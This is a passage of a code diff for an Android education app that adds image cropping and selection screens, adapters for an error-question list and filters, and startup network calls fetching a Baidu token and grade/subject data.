  163 + float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 30);
  164 + binding.markView.post(new Runnable() {
  165 + @Override
  166 + public void run() {
  167 + binding.markView.reset();
  168 + RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(binding.markView.getLayoutParams());
  169 + if (imageHeight / imageWidth > viewHeight / viewWidth) {
  170 + if (viewHeight > imageHeight) {
  171 + layoutParams.height = (int) imageHeight;
  172 + layoutParams.width = (int) imageWidth;
  173 + } else {
  174 + layoutParams.height = (int) viewHeight;
  175 + layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
  176 + }
  177 + } else {
  178 + if (viewWidth > imageWidth) {
  179 + layoutParams.height = (int) imageHeight;
  180 + layoutParams.width = (int) imageWidth;
  181 + } else {
  182 + layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
  183 + layoutParams.width = (int) viewWidth;
  184 + }
  185 + }
  186 + layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT);
  187 + binding.markView.setLayoutParams(layoutParams);
  188 + binding.markView.setBackGroundBitmap(bitmap);
  189 + binding.markView.reset();
  190 + if (cut) {
  191 + simulateClick(10, layoutParams.width - 10, 10, layoutParams.height - 10);
  192 + }
  193 + }
  194 + });
  195 + }
  196 +
  197 + private void simulateClick(int x1, int x2, int y1, int y2) {
  198 + long downTime = SystemClock.uptimeMillis();
  199 + final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_DOWN, x1, y1, 0);
  200 + downTime += 1000;
  201 + final MotionEvent moveEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE, x2, y2, 0);
  202 + final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_UP, x2, y2, 0);
  203 + binding.markView.onTouchEvent(downEvent);
  204 + binding.markView.onTouchEvent(moveEvent);
  205 + binding.markView.onTouchEvent(upEvent);
  206 + downEvent.recycle();
  207 + moveEvent.recycle();
  208 + upEvent.recycle();
  209 + }
  210 +
  211 + @Override
  212 + protected ActivityImageEditBinding getViewBinding() {
  213 + return ActivityImageEditBinding.inflate(getLayoutInflater());
  214 + }
  215 +
  216 + @Override
  217 + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
  218 + super.onActivityResult(requestCode, resultCode, data);
  219 + if (resultCode == RESULT_OK && !TextUtils.isEmpty(filepath)) {
  220 + bitmap = BitmapFactory.decodeFile(filepath);
  221 + showImage(false);
  222 + }
  223 + }
  224 +}
... ...
app/src/main/java/com/hjx/parent/ImageSelectActivity.java
... ... @@ -0,0 +1,189 @@
  1 +package com.hjx.parent;
  2 +
  3 +import android.content.Intent;
  4 +import android.graphics.Bitmap;
  5 +import android.graphics.BitmapFactory;
  6 +import android.graphics.Canvas;
  7 +import android.graphics.Paint;
  8 +import android.graphics.Rect;
  9 +import android.os.Bundle;
  10 +import android.os.SystemClock;
  11 +import android.util.Log;
  12 +import android.view.MotionEvent;
  13 +import android.view.View;
  14 +import android.widget.RelativeLayout;
  15 +
  16 +import com.hjx.parent.databinding.ActivityImageSelectBinding;
  17 +import com.prws.common.bean.CutPicBean;
  18 +import com.prws.common.bean.ImageBean;
  19 +import com.prws.common.utils.BitmapUtils;
  20 +import com.prws.common.utils.CommonUtil;
  21 +import com.prws.common.widget.MarkSizeView;
  22 +
  23 +public class ImageSelectActivity extends BaseActivity<ActivityImageSelectBinding> {
  24 + private Bitmap bitmap;
  25 + Rect rect;
  26 + private double widthFold, heightFold;
  27 + private Bitmap backGroundBitmap;
  28 + private int bitmapWidth, bitmapHeight;
  29 + private Rect select;
  30 +
  31 + @Override
  32 + public void initView(Bundle savedInstanceState) {
  33 + String path = getIntent().getStringExtra("path");
  34 + bitmap = BitmapFactory.decodeFile(path);
  35 + showImage();
  36 + binding.markView.setmOnClickListener(new MarkSizeView.onClickListener() {
  37 + @Override
  38 + public void onConfirm(Rect markedArea) {
  39 + int markSizeViewWidth = binding.markView.getWidth();
  40 + int markSizeHeight = binding.markView.getHeight();
  41 + backGroundBitmap = binding.markView.getBackGroundBitmap();
  42 + bitmapWidth = backGroundBitmap.getWidth();
  43 + bitmapHeight = backGroundBitmap.getHeight();
  44 + widthFold = CommonUtil.div(bitmapWidth, markSizeViewWidth, 2);
  45 + heightFold = CommonUtil.div(bitmapHeight, markSizeHeight, 2);
  46 + Log.d(toString(), markedArea.toString());
  47 + drawRectangles(markedArea);
  48 + binding.markView.reset();
  49 + }
  50 +
  51 + @Override
  52 + public void onCancel() {
  53 + rect = null;
  54 + }
  55 +
  56 + @Override
  57 + public void onTouch() {
  58 +
  59 + }
  60 + });
  61 + binding.tvSave.setOnClickListener(new View.OnClickListener() {
  62 + @Override
  63 + public void onClick(View v) {
  64 + if (rect != null) {
  65 + if (select == null) {
  66 + Intent intent = new Intent();
  67 + intent.putExtra("cut", rect);
  68 + setResult(1004, intent);
  69 + finish();
  70 + } else {
  71 + Intent intent = new Intent();
  72 + intent.putExtra("cut", rect);
  73 + intent.putExtra("position", getIntent().getIntExtra("position", 0));
  74 + setResult(1005, intent);
  75 + finish();
  76 + }
  77 + } else {
  78 + showToast("未选择框题区域");
  79 + }
  80 + }
  81 + });
  82 + binding.llDelete.setOnClickListener(new View.OnClickListener() {
  83 + @Override
  84 + public void onClick(View v) {
  85 + if (select == null) {
  86 + finish();
  87 + } else {
  88 + rect = null;
  89 + Intent intent = new Intent();
  90 + intent.putExtra("cut", rect);
  91 + intent.putExtra("position", getIntent().getIntExtra("position", 0));
  92 + setResult(1005, intent);
  93 + finish();
  94 + }
  95 + }
  96 + });
  97 + }
  98 +
  99 + private void simulateClick(int x1, int x2, int y1, int y2) {
  100 + long downTime = SystemClock.uptimeMillis();
  101 + final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_DOWN, x1, y1, 0);
  102 + downTime += 1000;
  103 + final MotionEvent moveEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE, x2, y2, 0);
  104 + final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_UP, x2, y2, 0);
  105 + binding.markView.onTouchEvent(downEvent);
  106 + binding.markView.onTouchEvent(moveEvent);
  107 + binding.markView.onTouchEvent(upEvent);
  108 + downEvent.recycle();
  109 + moveEvent.recycle();
  110 + upEvent.recycle();
  111 + }
  112 +
  113 + private void drawRectangles(Rect ints) {
  114 + rect = new Rect(ints.left, ints.top, ints.right, ints.bottom);
  115 + Log.d(toString(), ints.toString());
  116 + Rect rect = new Rect(CommonUtil.mulForInt(ints.left, widthFold), CommonUtil.mulForInt(ints.top, heightFold), CommonUtil.mulForInt(ints.right, widthFold), CommonUtil.mulForInt(ints.bottom, heightFold));
  117 +// Log.d(toString(),rect.toString());
  118 + Bitmap mutableBitmap = backGroundBitmap.copy(Bitmap.Config.ARGB_8888, true);
  119 + Canvas canvas = new Canvas(mutableBitmap);
  120 + //画矩形框
  121 + Paint paint = new Paint();
  122 + paint.setAntiAlias(true);
  123 + paint.setStyle(Paint.Style.FILL);//填充
  124 + paint.setStrokeWidth(CommonUtil.dpToPx(this, 1)); //线的宽度
  125 + paint.setColor(getColor(R.color.select_fill));
  126 + canvas.drawRect(rect, paint);
  127 + paint.setStyle(Paint.Style.STROKE);//不填充
  128 + paint.setColor(getColor(R.color.select_border));
  129 + canvas.drawRect(rect, paint);
  130 + binding.markView.setBackGroundBitmap(mutableBitmap);
  131 + }
  132 +
  133 + private void showImage() {
  134 + float imageHeight = bitmap.getHeight();
  135 + float imageWidth = bitmap.getWidth();
  136 + float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 250);
  137 + float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60);
  138 + binding.markView.post(new Runnable() {
  139 + @Override
  140 + public void run() {
  141 + binding.markView.reset();
  142 + RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(binding.markView.getLayoutParams());
  143 + if (imageHeight / imageWidth > viewHeight / viewWidth) {
  144 + if (viewHeight > imageHeight) {
  145 + layoutParams.height = (int) imageHeight;
  146 + layoutParams.width = (int) imageWidth;
  147 + } else {
  148 + layoutParams.height = (int) viewHeight;
  149 + layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
  150 + }
  151 + } else {
  152 + if (viewWidth > imageWidth) {
  153 + layoutParams.height = (int) imageHeight;
  154 + layoutParams.width = (int) imageWidth;
  155 + } else {
  156 + layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
  157 + layoutParams.width = (int) viewWidth;
  158 + }
  159 + }
  160 + layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT);
  161 + binding.markView.setLayoutParams(layoutParams);
  162 + binding.markView.setBackGroundBitmap(bitmap);
  163 + binding.markView.reset();
  164 + select = getIntent().getParcelableExtra("rect");
  165 + if (select != null) {
  166 + simulateClick(select.left, select.right, select.top, select.bottom);
  167 + }
  168 + }
  169 + });
  170 + }
  171 +
  172 + @Override
  173 + protected void onDestroy() {
  174 + if (backGroundBitmap != null) {
  175 + backGroundBitmap.recycle();
  176 + backGroundBitmap = null;
  177 + }
  178 + if (bitmap != null) {
  179 + bitmap.recycle();
  180 + bitmap = null;
  181 + }
  182 + super.onDestroy();
  183 + }
  184 +
  185 + @Override
  186 + protected ActivityImageSelectBinding getViewBinding() {
  187 + return ActivityImageSelectBinding.inflate(getLayoutInflater());
  188 + }
  189 +}
... ...
app/src/main/java/com/hjx/parent/MainActivity.java
... ... @@ -8,10 +8,20 @@ import android.os.Bundle;
8 8 import android.widget.ImageView;
9 9 import android.widget.TextView;
10 10  
  11 +import com.google.gson.JsonObject;
11 12 import com.hjx.parent.fragment.HomeFragment;
12 13 import com.hjx.parent.fragment.MeFragment;
13 14 import com.prws.common.base.BaseActivity;
14 15 import com.prws.common.base.BasePresenter;
  16 +import com.prws.common.bean.GradeAndSubject;
  17 +import com.prws.common.bean.ResponseResult;
  18 +import com.prws.common.net.NetWorks;
  19 +import com.prws.common.utils.SharedPreferencesUtil;
  20 +
  21 +import java.util.List;
  22 +
  23 +import io.reactivex.Observer;
  24 +import io.reactivex.disposables.Disposable;
15 25  
16 26 public class MainActivity extends BaseActivity {
17 27  
... ... @@ -49,6 +59,48 @@ public class MainActivity extends BaseActivity {
49 59 tv_4 = findViewById(R.id.tv_4);
50 60 iv_3.setBackgroundResource(R.mipmap.hoss);
51 61 tv_1.setTextColor(Color.parseColor("#FE5E09"));
  62 + NetWorks.getBaiduToken(new Observer<JsonObject>() {
  63 + @Override
  64 + public void onSubscribe(Disposable d) {
  65 +
  66 + }
  67 +
  68 + @Override
  69 + public void onNext(JsonObject jsonObject) {
  70 + SharedPreferencesUtil.putData("baiduToken", jsonObject.get("access_token").getAsString());
  71 + }
  72 +
  73 + @Override
  74 + public void onError(Throwable e) {
  75 +
  76 + }
  77 +
  78 + @Override
  79 + public void onComplete() {
  80 +
  81 + }
  82 + });
  83 + NetWorks.listGradeAndSubject(new Observer<ResponseResult<List<GradeAndSubject>>>() {
  84 + @Override
  85 + public void onSubscribe(Disposable d) {
  86 +
  87 + }
  88 +
  89 + @Override
  90 + public void onNext(ResponseResult<List<GradeAndSubject>> listResponseResult) {
  91 + App.getInstance().setGradeAndSubjects(listResponseResult.getData());
  92 + }
  93 +
  94 + @Override
  95 + public void onError(Throwable e) {
  96 + e.toString();
  97 + }
  98 +
  99 + @Override
  100 + public void onComplete() {
  101 +
  102 + }
  103 + });
52 104 }
53 105  
54 106 public HomeFragment getHomeFragment() {
... ...
app/src/main/java/com/hjx/parent/MyApplication.java
... ... @@ -1,18 +0,0 @@
1   -package com.hjx.parent;
2   -
3   -import com.prws.common.CommonApplication;
4   -import com.prws.common.utils.SharedPreferencesUtil;
5   -import com.uuzuche.lib_zxing.activity.ZXingLibrary;
6   -
7   -public class MyApplication extends CommonApplication {
8   -
9   - @Override
10   - public void onCreate() {
11   - super.onCreate();
12   -
13   - SharedPreferencesUtil.getInstance(this,"config");
14   -
15   - ZXingLibrary.initDisplayOpinion(this);
16   -
17   - }
18   -}
app/src/main/java/com/hjx/parent/adapter/ErrorAdapter.java
... ... @@ -0,0 +1,202 @@
  1 +package com.hjx.parent.adapter;
  2 +
  3 +import android.content.Context;
  4 +import android.content.Intent;
  5 +import android.graphics.drawable.Drawable;
  6 +import android.text.TextUtils;
  7 +import android.view.LayoutInflater;
  8 +import android.view.View;
  9 +import android.view.ViewGroup;
  10 +import android.webkit.WebSettings;
  11 +import android.widget.LinearLayout;
  12 +
  13 +import androidx.annotation.NonNull;
  14 +import androidx.annotation.Nullable;
  15 +import androidx.recyclerview.widget.RecyclerView;
  16 +
  17 +import com.bumptech.glide.Glide;
  18 +import com.bumptech.glide.request.target.SimpleTarget;
  19 +import com.bumptech.glide.request.transition.Transition;
  20 +import com.hjx.parent.ErrorDetailActivity;
  21 +import com.hjx.parent.R;
  22 +import com.hjx.parent.databinding.ItemErrorBinding;
  23 +import com.prws.common.bean.ErrorDetailBean;
  24 +import com.prws.common.bean.TopicBean;
  25 +import com.prws.common.utils.CommonUtil;
  26 +import com.prws.common.utils.StringUtils;
  27 +
  28 +import java.text.SimpleDateFormat;
  29 +import java.util.ArrayList;
  30 +import java.util.List;
  31 +
  32 +public class ErrorAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {
  33 + private List<TopicBean> list;
  34 + private Context context;
  35 + public boolean edit;
  36 + private CheckInterface checkInterface;
  37 +
  38 + public interface CheckInterface {
  39 + void onErrorCheck();
  40 + }
  41 +
  42 + public ErrorAdapter(Context context, List<TopicBean> list, boolean edit, CheckInterface checkInterface) {
  43 + this.list = list;
  44 + this.context = context;
  45 + this.edit = edit;
  46 + this.checkInterface = checkInterface;
  47 + }
  48 +
  49 + public ErrorAdapter(Context context, List<TopicBean> list, boolean edit) {
  50 + this.list = list;
  51 + this.context = context;
  52 + this.edit = edit;
  53 + }
  54 +
  55 + public void checkAll(boolean check) {
  56 + for (TopicBean topicBean : list) {
  57 + topicBean.setCheck(check);
  58 + }
  59 + notifyDataSetChanged();
  60 + checkInterface.onErrorCheck();
  61 + }
  62 +
  63 + public List<TopicBean> getChecKList() {
  64 + List<TopicBean> topicBeans = new ArrayList<>();
  65 + for (TopicBean topicBean : list) {
  66 + if (topicBean.isCheck()) {
  67 + topicBeans.add(topicBean);
  68 + }
  69 + }
  70 + return topicBeans;
  71 + }
  72 +
  73 + public void setEdit(boolean edit) {
  74 + this.edit = edit;
  75 + notifyDataSetChanged();
  76 + }
  77 +
  78 + public void addData(List<TopicBean> topicBeans) {
  79 + list.addAll(topicBeans);
  80 + notifyDataSetChanged();
  81 + }
  82 +
  83 + public void refresh(List<TopicBean> list) {
  84 + this.list = list;
  85 + notifyDataSetChanged();
  86 + }
  87 +
  88 + @NonNull
  89 + @Override
  90 + public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
  91 + ItemErrorBinding itemTopicBinding = ItemErrorBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false);
  92 + return new ErrorHolder(itemTopicBinding);
  93 + }
  94 +
  95 + @Override
  96 + public void onBindViewHolder(@NonNull RecyclerView.ViewHolder viewHolder, int position) {
  97 + TopicBean topicBean = list.get(position);
  98 + ErrorHolder holder = (ErrorHolder) viewHolder;
  99 + holder.binding.ivCheck.setVisibility(edit ? View.VISIBLE : View.GONE);
  100 + holder.binding.ivCheck.setImageResource(topicBean.isCheck() ? R.mipmap.ic_select : R.mipmap.ic_unselect);
  101 + SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd");
  102 + if (position == 0 || !format.format(list.get(position - 1).getTime()).equals(format.format(topicBean.getTime()))) {
  103 + holder.binding.tvTime.setVisibility(View.VISIBLE);
  104 + holder.binding.tvTime.setText(format.format(topicBean.getTime()));
  105 + } else {
  106 + holder.binding.tvTime.setVisibility(View.GONE);
  107 + }
  108 + if (topicBean.isDone()) {
  109 + holder.binding.tvType.setText(context.getString(R.string.text_done));
  110 + holder.binding.tvType.setBackgroundResource(R.drawable.bg_done_text);
  111 + } else {
  112 + holder.binding.tvType.setText(context.getString(R.string.text_undo));
  113 + holder.binding.tvType.setBackgroundResource(R.drawable.bg_undo_text);
  114 + }
  115 + holder.binding.tvReason.setText("错因:" + context.getResources().getStringArray(R.array.error_reason)[topicBean.getReason()]);
  116 + if (topicBean.getBean() != null) {
  117 + ErrorDetailBean bean = topicBean.getBean();
  118 + holder.binding.ivTopic.setVisibility(View.GONE);
  119 + String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
  120 + StringBuilder sb = new StringBuilder(4096);
  121 + if (!TextUtils.isEmpty(bean.getLabel())) {
  122 + sb.append(bean.getLabel());
  123 + }
  124 + sb.append(bean.getContent());
  125 + if (bean.getOptions() != null && bean.getOptions().size() > 0) {
  126 + sb.append("<div class='pt1'>");
  127 + sb.append(StringUtils.OptionsHtml(bean.getOptions(), null));
  128 + sb.append("</div>");
  129 + }
  130 + String body = "<html><header>" + linkCss + "</header>" + sb.toString() + "</body></html>";
  131 + WebSettings settings = holder.binding.webview.getSettings();
  132 +// settings.setUseWideViewPort(true);//设定支持 viewport
  133 +// settings.setLoadWithOverviewMode(true); //自适应屏幕
  134 +// settings.setBuiltInZoomControls(true);
  135 +// settings.setDisplayZoomControls(false);
  136 +// settings.setSupportZoom(false);//设定支持缩放
  137 + holder.binding.webview.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
  138 + holder.binding.webview.setVisibility(View.VISIBLE);
  139 + if (bean.getPoints().size() > 0) {
  140 + String topic = context.getString(R.string.topic_start);
  141 + topic += ":";
  142 +
  143 + for (int j = 0; j < bean.getPoints().size(); j++) {
  144 + if (j > 0) {
  145 + topic += "、";
  146 + }
  147 + topic += bean.getPoints().get(j).getValue();
  148 + }
  149 + holder.binding.tvPoint.setText(topic);
  150 + holder.binding.tvPoint.setVisibility(View.VISIBLE);
  151 + } else {
  152 + holder.binding.tvPoint.setVisibility(View.GONE);
  153 + }
  154 + } else {
  155 + holder.binding.webview.setVisibility(View.GONE);
  156 + holder.binding.tvPoint.setVisibility(View.GONE);
  157 + holder.binding.ivTopic.setVisibility(View.VISIBLE);
  158 + int maxWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60);
  159 + Glide.with(context).load(topicBean.getPath()).into(new SimpleTarget<Drawable>() {
  160 + @Override
  161 + public void onResourceReady(@NonNull Drawable resource, @Nullable Transition<? super Drawable> transition) {
  162 + int width = resource.getIntrinsicWidth();
  163 + int height = resource.getIntrinsicHeight();
  164 + int newHeight = maxWidth * height / width;
  165 + LinearLayout.LayoutParams layoutParams = (LinearLayout.LayoutParams) holder.binding.ivTopic.getLayoutParams();
  166 + layoutParams.width = maxWidth;
  167 + layoutParams.height = newHeight;
  168 + holder.binding.ivTopic.setLayoutParams(layoutParams);
  169 + holder.binding.ivTopic.setImageDrawable(resource);
  170 + }
  171 + });
  172 + }
  173 + holder.itemView.setOnClickListener(new View.OnClickListener() {
  174 + @Override
  175 + public void onClick(View v) {
  176 + if (edit) {
  177 + list.get(position).setCheck(!topicBean.isCheck());
  178 + notifyItemChanged(position);
  179 + checkInterface.onErrorCheck();
  180 + } else {
  181 + Intent intent = new Intent(context, ErrorDetailActivity.class);
  182 + intent.putExtra("errorBean", topicBean);
  183 + context.startActivity(intent);
  184 + }
  185 + }
  186 + });
  187 + }
  188 +
  189 + @Override
  190 + public int getItemCount() {
  191 + return list.size();
  192 + }
  193 +
  194 + static class ErrorHolder extends RecyclerView.ViewHolder {
  195 + ItemErrorBinding binding;
  196 +
  197 + public ErrorHolder(@NonNull ItemErrorBinding itemView) {
  198 + super(itemView.getRoot());
  199 + binding = itemView;
  200 + }
  201 + }
  202 +}
... ...
app/src/main/java/com/hjx/parent/adapter/FilterAdapter.java
... ... @@ -0,0 +1,90 @@
  1 +package com.hjx.parent.adapter;
  2 +
  3 +import android.content.Context;
  4 +import android.graphics.Color;
  5 +import android.view.LayoutInflater;
  6 +import android.view.View;
  7 +import android.view.ViewGroup;
  8 +import android.widget.TextView;
  9 +
  10 +import androidx.annotation.NonNull;
  11 +import androidx.recyclerview.widget.RecyclerView;
  12 +
  13 +
  14 +import com.hjx.parent.R;
  15 +import com.hjx.parent.databinding.ItemFilterTextBinding;
  16 +
  17 +import java.util.List;
  18 +
  19 +public class FilterAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {
  20 + private TextView type;
  21 + private List<String> list;
  22 + private Filter filter;
  23 + private Context context;
  24 + private String key;
  25 +
  26 + public interface Filter {
  27 + void onSelect(TextView type, String select);
  28 + }
  29 +
  30 + public FilterAdapter(Context context, Filter filter, List<String> list, TextView type, String key) {
  31 + this.context = context;
  32 + this.type = type;
  33 + this.filter = filter;
  34 + this.list = list;
  35 + this.key = key;
  36 + }
  37 +
  38 + public void refresh(List<String> list, TextView type, String key) {
  39 + this.type = type;
  40 + this.list = list;
  41 + this.key = key;
  42 + notifyDataSetChanged();
  43 + }
  44 +
  45 + public void refresh(String key) {
  46 + this.key = key;
  47 + notifyDataSetChanged();
  48 + }
  49 +
  50 + @NonNull
  51 + @Override
  52 + public RecyclerView.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
  53 + ItemFilterTextBinding itemFilterBinding = ItemFilterTextBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false);
  54 + return new FilterHolder(itemFilterBinding);
  55 + }
  56 +
  57 + @Override
  58 + public void onBindViewHolder(@NonNull RecyclerView.ViewHolder viewHolder, int i) {
  59 + FilterHolder holder = (FilterHolder) viewHolder;
  60 + String value = list.get(i);
  61 + holder.binding.tvFilter.setText(value);
  62 + if (value.equals(key)) {
  63 + holder.binding.tvFilter.setTextColor(Color.WHITE);
  64 + holder.binding.tvFilter.setBackgroundResource(R.drawable.bg_soild_blue_25);
  65 + } else {
  66 + holder.binding.tvFilter.setTextColor(context.getColor(R.color.text_title));
  67 + holder.binding.tvFilter.setBackgroundResource(R.drawable.bg_solid_btn_grad);
  68 + }
  69 + holder.itemView.setOnClickListener(new View.OnClickListener() {
  70 + @Override
  71 + public void onClick(View view) {
  72 + filter.onSelect(type, value);
  73 + }
  74 + });
  75 + }
  76 +
  77 + @Override
  78 + public int getItemCount() {
  79 + return list.size();
  80 + }
  81 +
  82 + static class FilterHolder extends RecyclerView.ViewHolder {
  83 + ItemFilterTextBinding binding;
  84 +
  85 + public FilterHolder(@NonNull ItemFilterTextBinding itemView) {
  86 + super(itemView.getRoot());
  87 + binding = itemView;
  88 + }
  89 + }
  90 +}
... ...
app/src/main/java/com/hjx/parent/adapter/ImageAdapter.java
... ... @@ -0,0 +1,161 @@
  1 +package com.hjx.parent.adapter;
  2 +
  3 +import android.content.Context;
  4 +import android.content.Intent;
  5 +import android.graphics.Bitmap;
  6 +import android.graphics.BitmapFactory;
  7 +import android.graphics.Rect;
  8 +import android.graphics.RectF;
  9 +import android.util.Log;
  10 +import android.view.LayoutInflater;
  11 +import android.view.View;
  12 +import android.view.ViewGroup;
  13 +import android.widget.ImageView;
  14 +import android.widget.RelativeLayout;
  15 +
  16 +import androidx.annotation.NonNull;
  17 +import androidx.recyclerview.widget.RecyclerView;
  18 +
  19 +import com.google.gson.Gson;
  20 +import com.hjx.parent.ImageActivity;
  21 +import com.hjx.parent.ImageSelectActivity;
  22 +import com.hjx.parent.R;
  23 +import com.hjx.parent.databinding.ItemImageBinding;
  24 +import com.prws.common.bean.ImageBean;
  25 +import com.prws.common.utils.CommonUtil;
  26 +
  27 +import java.util.List;
  28 +
  29 +public class ImageAdapter extends RecyclerView.Adapter<ImageAdapter.ImageHolder> {
  30 + private List<ImageBean> list;
  31 + private ImageActivity context;
  32 +
  33 + public ImageAdapter(ImageActivity context, List<ImageBean> list) {
  34 + this.context = context;
  35 + this.list = list;
  36 + }
  37 +
  38 + @NonNull
  39 + @Override
  40 + public ImageHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
  41 + ItemImageBinding itemImageBinding = ItemImageBinding.inflate(LayoutInflater.from(parent.getContext()), parent, false);
  42 + return new ImageHolder(itemImageBinding);
  43 + }
  44 +
  45 + @Override
  46 + public void onBindViewHolder(@NonNull ImageHolder holder, int position) {
  47 + ImageBean imageBean = list.get(position);
  48 + Bitmap bitmap = BitmapFactory.decodeFile(imageBean.getPath());
  49 + float imageHeight = bitmap.getHeight();
  50 + float imageWidth = bitmap.getWidth();
  51 + float viewHeight = CommonUtil.getScreenHeight(context) - CommonUtil.dpToPx(context, 250);
  52 + float viewWidth = CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 60);
  53 +
  54 + RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(holder.binding.ivPic.getLayoutParams());
  55 + if (imageHeight / imageWidth > viewHeight / viewWidth) {
  56 + if (viewHeight > imageHeight) {
  57 + layoutParams.height = (int) imageHeight;
  58 + layoutParams.width = (int) imageWidth;
  59 + } else {
  60 + layoutParams.height = (int) viewHeight;
  61 + layoutParams.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
  62 + }
  63 + } else {
  64 + if (viewWidth > imageWidth) {
  65 + layoutParams.height = (int) imageHeight;
  66 + layoutParams.width = (int) imageWidth;
  67 + } else {
  68 + layoutParams.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
  69 + layoutParams.width = (int) viewWidth;
  70 + }
  71 + }
  72 + layoutParams.addRule(RelativeLayout.CENTER_IN_PARENT);
  73 + holder.binding.ivPic.setLayoutParams(layoutParams);
  74 + holder.binding.ivPic.setImageBitmap(bitmap);
  75 +
  76 +
  77 + RelativeLayout.LayoutParams layoutParams1 = new RelativeLayout.LayoutParams(holder.binding.rlPic.getLayoutParams());
  78 + if (imageHeight / imageWidth > viewHeight / viewWidth) {
  79 + if (viewHeight > imageHeight) {
  80 + layoutParams1.height = (int) imageHeight;
  81 + layoutParams1.width = (int) imageWidth;
  82 + } else {
  83 + layoutParams1.height = (int) viewHeight;
  84 + layoutParams1.width = (int) ((float) (imageWidth / imageHeight) * viewHeight);
  85 + }
  86 + } else {
  87 + if (viewWidth > imageWidth) {
  88 + layoutParams1.height = (int) imageHeight;
  89 + layoutParams1.width = (int) imageWidth;
  90 + } else {
  91 + layoutParams1.height = (int) ((float) (imageHeight / imageWidth) * viewWidth);
  92 + layoutParams1.width = (int) viewWidth;
  93 + }
  94 + }
  95 + Log.i("figLoaction", "height=" + layoutParams1.height + " width=" + layoutParams1.width);
  96 + layoutParams1.addRule(RelativeLayout.CENTER_IN_PARENT);
  97 + holder.binding.rlPic.setLayoutParams(layoutParams1);
  98 + if (imageBean.getCuts() != null && imageBean.getCuts().size() > 0) {
  99 + holder.binding.rlPic.removeAllViews();
  100 + for (int i = 0; i < imageBean.getCuts().size(); i++) {
  101 + View view = LayoutInflater.from(context).inflate(R.layout.layout_select, null);
  102 + Rect rect;
  103 + if (imageBean.getCuts().get(i).getRect1() != null) {
  104 + rect = imageBean.getCuts().get(i).getRect1();
  105 + } else {
  106 + rect = CommonUtil.getRect(imageBean.getCuts().get(i).getRect(), bitmap, layoutParams1.height, layoutParams1.width);
  107 + imageBean.getCuts().get(i).setRect1(rect);
  108 + }
  109 + Log.i("figLoaction", new Gson().toJson(rect));
  110 + RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(rect.right - rect.left, rect.bottom - rect.top);
  111 + params.setMargins(rect.left, rect.top, 0, 0);
  112 + holder.binding.rlPic.addView(view, params);
  113 + RelativeLayout rl_add = view.findViewById(R.id.rl_add);
  114 + ImageView iv_state = view.findViewById(R.id.iv_state);
  115 + ImageView iv_edit = view.findViewById(R.id.iv_edit);
  116 + int finalI = i;
  117 + rl_add.setOnClickListener(new View.OnClickListener() {
  118 + @Override
  119 + public void onClick(View v) {
  120 + Bitmap b = Bitmap.createBitmap(bitmap, v.getLeft() * bitmap.getWidth() / holder.binding.ivPic.getWidth(), v.getTop() * bitmap.getHeight() / holder.binding.ivPic.getHeight(), (v.getRight() - v.getLeft()) * bitmap.getWidth() / holder.binding.ivPic.getWidth(), (v.getBottom() - v.getTop()) * bitmap.getHeight() / holder.binding.ivPic.getHeight());
  121 + if (imageBean.getCuts().get(finalI).isSelect()) {
  122 + imageBean.getCuts().get(finalI).setSelect(false);
  123 + rl_add.setBackgroundResource(R.drawable.bg_cut_unselect);
  124 + iv_state.setImageResource(R.mipmap.ic_add);
  125 + } else {
  126 + imageBean.getCuts().get(finalI).setSelect(true);
  127 + imageBean.getCuts().get(finalI).setBitmap(b);
  128 + rl_add.setBackgroundResource(R.drawable.bg_cut_select);
  129 + iv_state.setImageResource(R.mipmap.ic_selected);
  130 + }
  131 + context.refreshNum();
  132 + }
  133 + });
  134 + iv_edit.setOnClickListener(new View.OnClickListener() {
  135 + @Override
  136 + public void onClick(View v) {
  137 + Intent intent = new Intent(context, ImageSelectActivity.class);
  138 + intent.putExtra("rect", rect);
  139 + intent.putExtra("path", imageBean.getPath());
  140 + intent.putExtra("position", finalI);
  141 + context.startActivityForResult(intent, 1001);
  142 + }
  143 + });
  144 + }
  145 + }
  146 + }
  147 +
  148 + @Override
  149 + public int getItemCount() {
  150 + return list.size();
  151 + }
  152 +
  153 + static class ImageHolder extends RecyclerView.ViewHolder {
  154 + ItemImageBinding binding;
  155 +
  156 + public ImageHolder(@NonNull ItemImageBinding itemView) {
  157 + super(itemView.getRoot());
  158 + binding = itemView;
  159 + }
  160 + }
  161 +}
... ...
app/src/main/java/com/hjx/parent/adapter/LoadMoreOnScrollListener.java
